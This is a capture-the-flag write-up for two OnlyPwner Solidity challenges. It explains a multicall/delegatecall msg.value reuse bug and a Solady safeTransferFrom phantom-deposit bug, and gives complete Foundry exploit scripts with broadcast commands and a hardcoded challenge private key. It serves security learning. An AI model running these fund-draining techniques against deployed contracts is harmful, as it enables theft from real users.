OnlyPwner (ALL OR NOTHING/LIQUID STAKING) Write Ups
ALL OR NOTHING
1
2
3
4
5
if (allOrNothing.balance == 0) {
console.log("is-solved:true");
} else {
console.log("is-solved:false");
}
we should drain assets of allOrNothing it to solve
1
2
3
4
5
6
7
8
9
AllOrNothing allOrNothing = new AllOrNothing(1 ether, 10 minutes);
allOrNothing.bet{value: 1 ether}(1, address(uint160(user) + 1));
allOrNothing.bet{value: 1 ether}(1, address(uint160(user) + 2));
allOrNothing.bet{value: 1 ether}(1, address(uint160(user) + 3));
allOrNothing.bet{value: 1 ether}(1, address(uint160(user) + 4));
allOrNothing.bet{value: 1 ether}(1, address(uint160(user) + 5));
payable(user).transfer(1 ether);
when it comes to deploying a challenge, since 5 ethers were deposited into the AllOrNothing contract, we should drain all 5. and the player was given 1 ether
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
pragma solidity 0.8.20;
import {IAllOrNothing} from "./interfaces/IAllOrNothing.sol";
import {Multicall} from "./Multicall.sol";
/// A contract where users can bet on a random number being published.
/// The user who is closest to the number wins all the bets.
contract AllOrNothing is IAllOrNothing, Multicall {
address public owner;
address public bestPlayer;
uint256 public winningNumber;
mapping(address => uint256) public bets;
uint256 public immutable BET_AMOUNT;
uint256 public immutable DEADLINE;
uint256 public immutable DECLARE_DEADLINE;
constructor(uint256 betAmount, uint256 duration) {
owner = msg.sender;
BET_AMOUNT = betAmount;
DEADLINE = block.timestamp + duration;
DECLARE_DEADLINE = DEADLINE + 1 days;
}
function declareWinner(address user) external {
require(bets[user] != 0, "Must have placed bet");
require(
block.timestamp >= DEADLINE && block.timestamp < DECLARE_DEADLINE,
"Deadline not passed"
);
require(winningNumber != 0, "Winning number not published");
if (bestPlayer == address(0)) {
bestPlayer = user;
return;
}
unchecked {
uint256 distance = bets[user] > winningNumber
? bets[user] - winningNumber
: winningNumber - bets[user];
uint256 bestDistance = bets[bestPlayer] > winningNumber
? bets[bestPlayer] - winningNumber
: winningNumber - bets[bestPlayer];
if (distance < bestDistance) {
bestPlayer = user;
}
}
}
function withdrawWinnings() external {
require(msg.sender == bestPlayer, "Must be best player");
require(block.timestamp >= DECLARE_DEADLINE, "Deadline not passed");
payable(msg.sender).transfer(address(this).balance);
}
function bet(uint256 number, address recipient) external payable {
require(bets[recipient] == 0, "Already placed bet");
require(msg.value == BET_AMOUNT, "Value too low");
require(block.timestamp < DEADLINE, "Deadline passed");
bets[recipient] = number;
}
function void() external {
require(bets[msg.sender] != 0, "Must have placed bet");
require(block.timestamp < DEADLINE, "Deadline passed");
bets[msg.sender] = 0;
payable(msg.sender).transfer(BET_AMOUNT);
}
function transfer(address to) external {
require(bets[msg.sender] != 0, "Must have placed bet");
require(bets[to] == 0, "Recipient must not have placed bet");
bets[to] = bets[msg.sender];
bets[msg.sender] = 0;
}
function publish(uint256 number) external {
require(msg.sender == owner, "Must be owner");
require(block.timestamp >= DEADLINE, "Deadline not passed");
winningNumber = number;
}
}
AllOrNothing is a contract similar to a lottery game, where the player ranked as bestPlayer receives a reward. the withdrawWinnings() and void() functions allow withdrawals, but we need to become the bestPlayer to call it
to become the bestPlayer, we need to call the declareWinner() function, but the winningNumber must be set. however, since it hasn’t been set yet, we can’t use it. and void() is a function that allows users who joined the game to get a refund. if the player’s bet number is not 0, the BET_AMOUNT(1 ether) will be refunded to the player
the player’s bet number can be set via the bet() function and user needs to send 1 ether to set it. currently, the balance given to us is 1 ether so we can set only one bet number
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
contract Multicall is IMulticall {
function multicall(
bytes[] calldata data
) external payable returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
results[i] = doDelegateCall(data[i]);
}
return results;
}
function doDelegateCall(bytes memory data) private returns (bytes memory) {
(bool success, bytes memory res) = address(this).delegatecall(data);
if (!success) {
revert(string(res));
}
return res;
}
}
Currently, the AllOrNothing contract imports Multicall contract, allowing players to call the multicall() function. inside the deDelegateCall(), we can check that the delegatecall() function is called. in other words, a player can call the bet() function multiple times with just 1 ether by using multicall()
we can exploit via this the logic but it’s impossible to call the bet(), void() functions 5 times. the reason is that while bet() is a payable function, void() is not. so the transaction reverts when a player tris to call the bet(), void() functions directly.
so we can simply generate multicall payloads to call the bet() function using the addresses after appending 5 target addresses
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
import {AllOrNothing} from "../src/AllOrNothing.sol";
contract Solve is Script {
AllOrNothing public aot;
address public playeraddr = 0x34788137367a14f2C4D253F9a6653A93adf2D234;
uint256 public playerpv = 0xbe0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a;
address[] public usersaddr;
uint256[] public userspv;
constructor() {
aot = AllOrNothing(0x78aC353a65d0d0AF48367c0A16eEE0fbBC00aC88);
}
function drains() public {
console.log("Start to drain");
for (uint i = 1; i < usersaddr.length; i++) {
vm.startBroadcast(userspv[i]);
aot.void();
vm.stopBroadcast();
}
}
function run() public {
bytes[] memory payloads = new bytes[](6);
console.log("Start amennnnnn");
usersaddr.push(playeraddr);
userspv.push(playerpv);
payloads[0] = abi.encodeWithSelector(aot.bet.selector, 1, usersaddr[0]);
for (uint i = 0; i < 5; i++) {
(address addr, uint256 pv) = makeAddrAndKey(vm.toString((i)));
usersaddr.push(addr);
userspv.push(pv);
payloads[i + 1] = abi.encodeWithSelector(aot.bet.selector, 1, addr);
}
vm.startBroadcast(userspv[0]);
console.log("challeng's balance before ex : ", address(aot).balance);
console.log("user's balance before ex : ", address(playeraddr).balance);
aot.multicall{value : 1 ether}(payloads);
aot.void();
vm.stopBroadcast();
drains();
console.log("challenge's balance after ex : ", address(aot).balance);
}
}
// forge script --broadcast --rpc-url $RPC_URL Solve -vvv --with-gas-price 0 --priority-gas-price 0
the payload is written as shown above
then if we run the code, we can see the result like this
LIQUID STAKING
1
2
3
4
5
6
if (stf.syntheticsLength() == 0 || user.balance < 100 ether) {
console.log("is-solved:false");
return;
}
console.log("is-solved:true");
we must create a synthetic token, and the player’s balance must remain at 100 ether
1
2
3
4
user.call{value: 100 ether}("");
PoolVault pv = new PoolVault();
SyntheticTokenFactory stf = new SyntheticTokenFactory(address(this), pv);
100 ether is given to the player so we must ensure synthetics.length > 0 while keeping the player’s balance unchanged at 100 ether
1
2
3
4
5
address[] public synthetics;
// (...)
function syntheticsLength() external view returns(uint) {
return synthetics.length;
}
the syntheticsLength() function of the SyntheticTokenFactory contract returns the length of the synthetics
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function createSynthetic() external payable returns (address) {
require(msg.value >= 1 ether, "STF: No native tokens provided");
SyntheticToken st = new SyntheticToken(++currentSequence, msg.value);
mintedSupply += msg.value;
isActive[address(st)] = true;
synthetics.push(address(st));
uint feeAmt = msg.value / 10;
st.approve(address(poolVault), feeAmt);
poolVault.depositFor(address(st), feeReceiver, feeAmt);
st.transfer(msg.sender, msg.value - feeAmt);
return address(st);
}
the length of the synthetics array increases when the createSynthetic() function is called. we can check that it creates a SyntheticToken contract and appends its addressed to the synthetics array. in other words, first condition will be satisfied if a player calls it
however, to call this function, a balance of at least 1 ether must be provided, so the user spends 1 ether. After the function call, the user’s balance becomes 99 ether
in the createSynthetic() function, after deploying the token contract, the fee is calculated based on the msg.value and sent to the poolVault. if 1 ether is sent, the fee is 0.1 ether. the remaining 0.9 ether is transferred to the user in the form of the newly created synthetic token
1
2
3
4
5
6
7
8
9
10
11
12
function redeemTokens(address synthetic, uint amount) external {
require(isActive[synthetic], "STF: Not a synthetic");
SyntheticToken st = SyntheticToken(synthetic);
st.burn(msg.sender, amount);
if(st.totalSupply() == 0){
isActive[synthetic] = false;
}
mintedSupply -= amount;
SafeTransferLib.safeTransferETH(msg.sender, amount);
}
since the SyntheticTokenFactory contract provides the redeemTokens() function, the user can withdraw the 0.9 ether worth of tokens at any time
because the 0.9 ether is always redeemable, the user’s effective balance is now 99.9 ether, excluding the 0.1 ether fee. therefore, we still need to recover the remaining 0.1 ether
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
contract PoolVault is IPoolVault {
using SafeTransferLib for address;
mapping(address synthetic => mapping (address owner => uint)) public balance;
function depositFor(address synthetic, address beneficiary, uint amount) external {
synthetic.safeTransferFrom(msg.sender, address(this), amount);
balance[synthetic][beneficiary] += amount;
}
function withdraw(address synthetic, uint amount) external {
balance[synthetic][msg.sender] -= amount;
synthetic.safeTransfer(msg.sender, amount);
}
}
the PoolVault contract defines the depositFor() and withdraw() functions as described above. a user can call depositFor() to deposit pool tokens and increase the value of balance[synthetic][beneficiary]. the withdraw() function allows a user to withdraw tokens up to the amount recorded in balance[synthetic][beneficiary]
in the createSynthetic() function, when a synthetic token is created, the contract calls PoolVault’s depositFor() function to transfer feeAmt (0.1 ether) to the vault. At this point, balance[synthetic][feeReceiver] is set to 0.1 ether. since the withdraw() function checks the balance using msg.sender, only the feeReceiver is able to withdraw this 0.1 ether
however, the depositFor() function is externally callable and uses Solady’s safeTransferFrom() function to transfer ERC20 tokens
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function safeTransferFrom(address token, address from, address to, uint256 amount) internal {
/// @solidity memory-safe-assembly
assembly {
let m := mload(0x40) // Cache the free memory pointer.
mstore(0x60, amount) // Store the `amount` argument.
mstore(0x40, to) // Store the `to` argument.
mstore(0x2c, shl(96, from)) // Store the `from` argument.
mstore(0x0c, 0x23b872dd000000000000000000000000) // `transferFrom(address,address,uint256)`.
let success := call(gas(), token, 0, 0x1c, 0x64, 0x00, 0x20)
if iszero(and(eq(mload(0x00), 1), success)) {
if iszero(lt(or(iszero(extcodesize(token)), returndatasize()), success)) {
mstore(0x00, 0x7939f424) // `TransferFromFailed()`.
revert(0x1c, 0x04)
}
}
mstore(0x60, 0) // Restore the zero slot to zero.
mstore(0x40, m) // Restore the free memory pointer.
}
}
// lib/solady/src/utils/SafeTransferLib.sol
the safeTransferFrom() function in solady’s SafeTransferLib does not revert if the token contract has not been deployed yet. this behavior is the root cause of the issue.
1
lt(or(iszero(extcodesize(token)), returndatasize()), success)
as described above, a revert in safeTransferFrom() only occurs when the following conditions are met: extcodesize(token) > 0, returndatasize == 0, and success == 0.
in other words, a revert only happens when the target address is a deployed contract (i.e., it has code), the call fails, and no return data is provided. if the contract has not been deployed yet (i.e., extcodesize == 0), the function does not revert
this means that by calling depositFor() with the address of an ERC20 token that hasn’t been deployed yet, the contract attempts to transfer 0.1 ether worth of tokens using safeTransferFrom(). because the target address has no code, the function does not revert—even though the token does not exist yet
as a result, balance[synthetic][player] is increased by 0.1 ether, even though no actual token transfer occurred
to perform this exploit, the player must be able to precompute the address of the synthetic token that will be deployed later
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
⬇︎ calls PoolVault::depositFor()
⬇︎ balance[synthetic][player] = 0.1 ether
⬇︎ calls SyntheticTokenFactory::createSynthetic{value : 1 ether}()
⬇︎ user's eth balance : 99 ether
⬇︎ synthetics.push(address(st)); // create a token
⬇︎ calls PoolVault::depositFor()
⬇︎ synthetic.balanceOf(feeReceiver) = 0.1 ether
⬇︎ balance[synthetic][feeReceiver] = 0.1 ether
⬇︎ calls SyntheticTokenFactory::redeemTokens()
⬇︎ safeTransferETH(player, 0.9 ether);
⬇︎ user's eth balance : 99.9 ether
⬇︎ calls PoolVault::withdraw()
⬇︎ balance[synthetic][player] = 0
⬇︎ synthetic.balanceOf(player) = 0.1 ether
⬇︎ calls SyntheticTokenFactory::redeemTokens()
⬇︎ safeTransferETH(player, 0.1 ether);
⬇︎ user's eth balance : 100 ether
⬇︎ syntheticsLength : 1
based on the information above, the challenge can be solved by executing the exploit as described
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity 0.8.21;
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
import {SyntheticTokenFactory} from "../src/SyntheticTokenFactory.sol";
import {PoolVault} from "../src/PoolVault.sol";
contract Solve is Script {
SyntheticTokenFactory public synthetictokenfactory;
PoolVault public poolvault;
address st;
function run() public {
synthetictokenfactory = SyntheticTokenFactory(0xfA43a58F761B40686a27c5210F533ABeea397cb0);
poolvault = PoolVault(0x91B617B86BE27D57D8285400C5D5bAFA859dAF5F);
st = synthetictokenfactory.createSynthetic{value : 1 ether}();
console.log("SyntheticToken's address : ", st);
}
}
the synthetic token address can be predicted in advance using the code shown above
the token address is as shown above
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pragma solidity 0.8.21;
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
import {SyntheticTokenFactory} from "../src/SyntheticTokenFactory.sol";
import {PoolVault} from "../src/PoolVault.sol";
import {SyntheticToken} from "../src/SyntheticToken.sol";
contract Solve is Script {
SyntheticTokenFactory public synthetictokenfactory;
PoolVault public poolvault;
SyntheticToken public synthetictoken;
uint256 playerPv = vm.envUint("PRIVATE_KEY");
address public player = 0x34788137367a14f2C4D253F9a6653A93adf2D234;
address public st = 0xEC7FF86bc173C5d15a1B93570d36AF8dB96E0b2b;
function run() public {
vm.startBroadcast(playerPv);
console.log("start");
synthetictokenfactory = SyntheticTokenFactory(0xfA43a58F761B40686a27c5210F533ABeea397cb0);
poolvault = PoolVault(0x91B617B86BE27D57D8285400C5D5bAFA859dAF5F);
poolvault.depositFor(st, player, 0.1 ether);
uint256 balance = poolvault.balance((st), player);
assert(balance == 0.1 ether);
console.log("user's balance before creating Synthetic : ", player.balance);
synthetictokenfactory.createSynthetic{value : 1 ether}();
console.log("user's balance after creating Synthetic : ", player.balance);
poolvault.withdraw(st, 0.1 ether);
synthetictokenfactory.redeemTokens(st, 1 ether);
assert(synthetictokenfactory.syntheticsLength() > 0 && player.balance == 100 ether);
console.log("user's balance after Synthetic : ", player.balance);
console.log("clear");
vm.stopBroadcast();
}
}
// forge script --broadcast --rpc-url $RPC_URL Solve -vvv --with-gas-price 0 --priority-gas-price 0
the full exploit code is provided above
then if we run the code, we can see the result like this. amenn